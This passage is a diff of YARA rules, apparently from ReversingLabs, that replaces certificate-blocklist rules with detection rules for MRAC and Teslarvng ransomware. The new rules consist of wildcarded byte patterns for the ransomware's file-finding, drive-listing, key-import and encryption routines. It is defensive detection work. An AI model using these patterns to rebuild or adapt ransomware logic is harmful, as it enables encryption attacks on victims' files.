?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 + ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 68 + ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 50 51 E8 ?? ?? + ?? ?? 83 C4 ?? 0B C2 74 ?? 53 FF 15 ?? ?? ?? ?? B0 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 33 DB 8D 95 ?? ?? ?? ?? 53 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 53 50 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ?? + ?? ?? 89 9D ?? ?? ?? ?? 33 F6 8B FF 6A ?? 53 E8 ?? ?? ?? ?? 88 44 35 ?? 46 83 FE ?? + 7C ?? 8D 4D ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D + B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B CE 89 5D ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 8B F4 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? 8B 8D + } + $encrypt_files_p2 = { + 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 57 FF 15 ?? ?? + ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? 32 C0 E9 ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 52 + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? + ?? ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 6A ?? F7 D8 99 53 52 50 57 FF 15 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? 8D 95 ?? ?? + ?? ?? 52 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 50 8D 95 ?? ?? ?? + ?? 52 57 FF D6 85 C0 0F 84 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 81 BD ?? + ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? + ?? ?? ?? 0F 82 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 11 9D ?? ?? ?? ?? + 83 FA ?? 0F 84 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B C3 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 + } + $encrypt_files_p3 = { + 75 ?? 2B C2 6A ?? D1 F8 8D 8D ?? ?? ?? ?? 51 8D 14 00 A1 ?? ?? ?? ?? 52 53 50 FF D6 + 8B 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 52 FF D6 8B 15 ?? + ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 4D ?? 51 52 FF D6 8B 0D ?? ?? ?? ?? 6A + ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 51 FF D6 8B 0D ?? ?? ?? ?? 6A ?? 8D 95 + ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 51 FF D6 EB ?? 8B 9D ?? ?? ?? ?? 6A ?? 33 + C9 51 51 B8 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 DB EB ?? 83 85 ?? ?? + ?? ?? ?? 11 9D ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 4D ?? 8B 55 + ?? 8B B5 ?? ?? ?? ?? 51 52 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 8D 85 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B D6 52 FF 15 ?? ?? ?? ?? 33 C9 + 51 51 33 C0 51 50 A1 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 FF 15 ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 94 C0 8B 4D ?? 64 + 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 68 ?? ?? ?? ?? 33 F6 + 8D 8D ?? ?? ?? ?? 33 C0 56 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 8D 95 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? + 52 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 9B + ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 57 8D + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? + ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? E9 + ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? + 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 + } + $find_files_p2 = { + D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 + ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 + C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 BB ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 90 + 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 + ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 + ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? + ?? ?? ?? 57 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? + ?? ?? 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8B D1 83 C4 ?? 0B D0 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 74 ?? 50 51 8D + 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 C4 ?? 3A C1 75 ?? 01 0D ?? ?? ?? + ?? 11 35 ?? ?? ?? ?? EB ?? 01 0D ?? ?? ?? ?? 11 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 + 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 5E 33 CD + B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $get_logical_drives_list_p1 = { + 8D 85 ?? ?? ?? ?? 50 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57 + 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? + ?? ?? 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 + A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 + FF 89 7D ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 + ?? 57 8D 8D ?? ?? ?? ?? 2B C2 51 50 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF + ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? + ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? ?? + ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF 15 + ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85 + D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB + } + $get_logical_drives_list_p2 = { + 1B C0 83 D8 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? 89 B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE D3 E2 85 95 ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 8D 4E ?? 66 89 8D ?? ?? ?? ?? 33 C9 6A ?? 51 8D 95 ?? ?? ?? ?? 52 C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? + ?? 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? BF ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 39 78 ?? 72 ?? 8B 00 8D + 50 ?? 8A 08 40 84 C9 75 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 2B C2 50 83 EC ?? B8 ?? ?? ?? + ?? 8B CC 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 39 78 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? + ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 39 BD ?? ?? ?? ?? 72 ?? 8B 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 89 B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 46 89 B5 ?? ?? ?? ?? 83 + FE ?? 0F 8C ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? 8B + 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IT PUT LIMITED" and ( pe.signatures [ i ] . serial == "00:eb:bd:d6:cd:ed:a4:0c:a6:45:13:28:0e:cd:62:5c:54" or pe.signatures [ i ] . serial == "eb:bd:d6:cd:ed:a4:0c:a6:45:13:28:0e:cd:62:5c:54" ) and 1549238400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $get_logical_drives_list_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_61Da676C1Dcfcf188276E2C70D68082E : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_MRAC : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects MRAC ransomware." author = "ReversingLabs" - id = "d974b740-38fa-564d-b4c6-8955568a4e77" - date = "2020-08-05" - modified = "2023-11-08" + id = "135c3dc9-bf08-5f00-bade-7054d9f33830" + date = "2022-02-21" + modified = "2022-02-21" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3140-L3156" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MRAC.yara#L1-L69" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4f8af4a5c9812e6559218e387e32bc02cb0adcd40d9d4963fefc929f6101ae9a" + logic_hash = "04e8364dc9c726f4bb2d3035e5b7e8dab4cae124b2f047be6f11b865fab557a7" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "MRAC" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + B8 ?? ?? ?? ?? 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? + 83 C1 ?? 83 C0 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 8B 75 ?? 85 C0 75 ?? B1 + ?? EB ?? 32 C9 8B 45 ?? 88 4D ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? ?? ?? 8B C6 81 F9 ?? + ?? ?? ?? 72 ?? 8B 76 ?? 83 C1 ?? 2B C6 83 C0 ?? 83 F8 ?? 77 ?? 51 56 E8 ?? ?? ?? ?? + 8A 4D ?? 83 C4 ?? 8A C1 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? + ?? ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? E8 + } + $import_key = { + 8D 45 ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 + ?? 89 45 ?? 8D 4D ?? 51 50 6A ?? 6A ?? FF 75 ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 75 ?? FF + 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF + 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? FF + 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF D6 85 C0 0F + 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 + ?? ?? ?? ?? 8B C8 F6 C1 ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 C1 E8 ?? 40 C1 E0 ?? 2B + C1 68 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 6A + ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 8B 45 ?? 3D ?? ?? ?? ?? 0F 92 C3 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 57 6A ?? 0F + B6 C3 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 75 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D + 45 ?? 50 FF 75 ?? 57 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? EB ?? 8B 75 ?? 84 + DB 74 + } + $find_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 74 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 06 FF + D7 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 90 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 + F6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B + 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "P2N ONLINE LTD" and pe.signatures [ i ] . serial == "61:da:67:6c:1d:cf:cf:18:82:76:e2:c7:0d:68:08:2e" and 1552723954 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $import_key ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_767436921B2698Bd18400A24B01341B6 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Teslarvng : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Teslarvng ransomware." author = "ReversingLabs" - id = "3e3b2b75-9416-5c4f-ad47-88f92039f532" - date = "2020-08-05" - modified = "2023-11-08" + id = "7045b13e-95a5-54da-b540-75d464e7673d" + date = "2020-12-14" + modified = "2020-12-14" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3158-L3174" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Teslarvng.yara#L1-L137" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "759bbbc5929463ad68d5dcd28b30401b9ff680f522172ed8d5d7dd3772e07587" + logic_hash = "670621aa196a80fbb694e4b1690d7da60e881c5b826133939e61cd6c2406ea98" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Teslarvng" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A8 ?? 00 00 A1 ?? ?? ?? ?? ?? ?? ?? ?? EC 56 57 50 + 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? C9 89 4D ?? 89 4D ?? 8B 73 ?? 8B 43 ?? 89 75 + ?? 89 45 ?? 3B F0 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 06 8D 04 40 C1 E0 ?? 89 45 + ?? 8B 04 02 8B 40 ?? 8B 30 3B F0 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 3D ?? + ?? ?? ?? 10 89 ?? ?? ?? ?? E3 ?? 00 0F 43 05 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? 33 C0 + 83 C9 ?? 66 89 45 ?? 89 4D ?? 8D 4D ?? 8B 47 ?? 40 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? ?? 8B + C7 72 ?? 8B 07 FF 77 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C9 68 ?? ?? ?? ?? 0F 10 00 0F 11 85 + ?? ?? ?? ?? F3 0F 7E 40 ?? 83 4D ?? ?? 66 0F D6 45 ?? 66 89 08 8D 8D ?? ?? ?? ?? C7 + 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? + ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 6A ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? + 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 74 ?? 6A ?? 8D 4D ?? 51 + } + $encrypt_files_p2 = { + FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? + ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? + 8B 41 ?? 89 45 ?? 83 78 ?? ?? 8B 48 ?? 89 4D ?? 72 ?? 8B 00 89 45 ?? C6 45 ?? ?? 33 + C0 83 4D ?? ?? 8D 4D ?? 66 89 45 ?? 8B 47 ?? 40 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 50 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? ?? 8B 47 + ?? 72 ?? 8B 3F 50 57 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? + 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 6A ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 74 ?? 6A ?? 8D 45 + ?? 50 FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? + ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? 8B 36 8B 4D ?? 8B 04 02 3B 70 ?? 0F 85 ?? ?? + ?? ?? 8B 75 ?? 83 C6 ?? 89 75 ?? 3B 75 ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D + 4B ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? + ?? ?? 8B E5 5D 8B E3 5B C2 + } + $find_files = { + FF D6 83 F8 ?? 0F 85 ?? ?? ?? ?? 8D 43 ?? 50 BA ?? ?? ?? ?? 8D 8D ?? 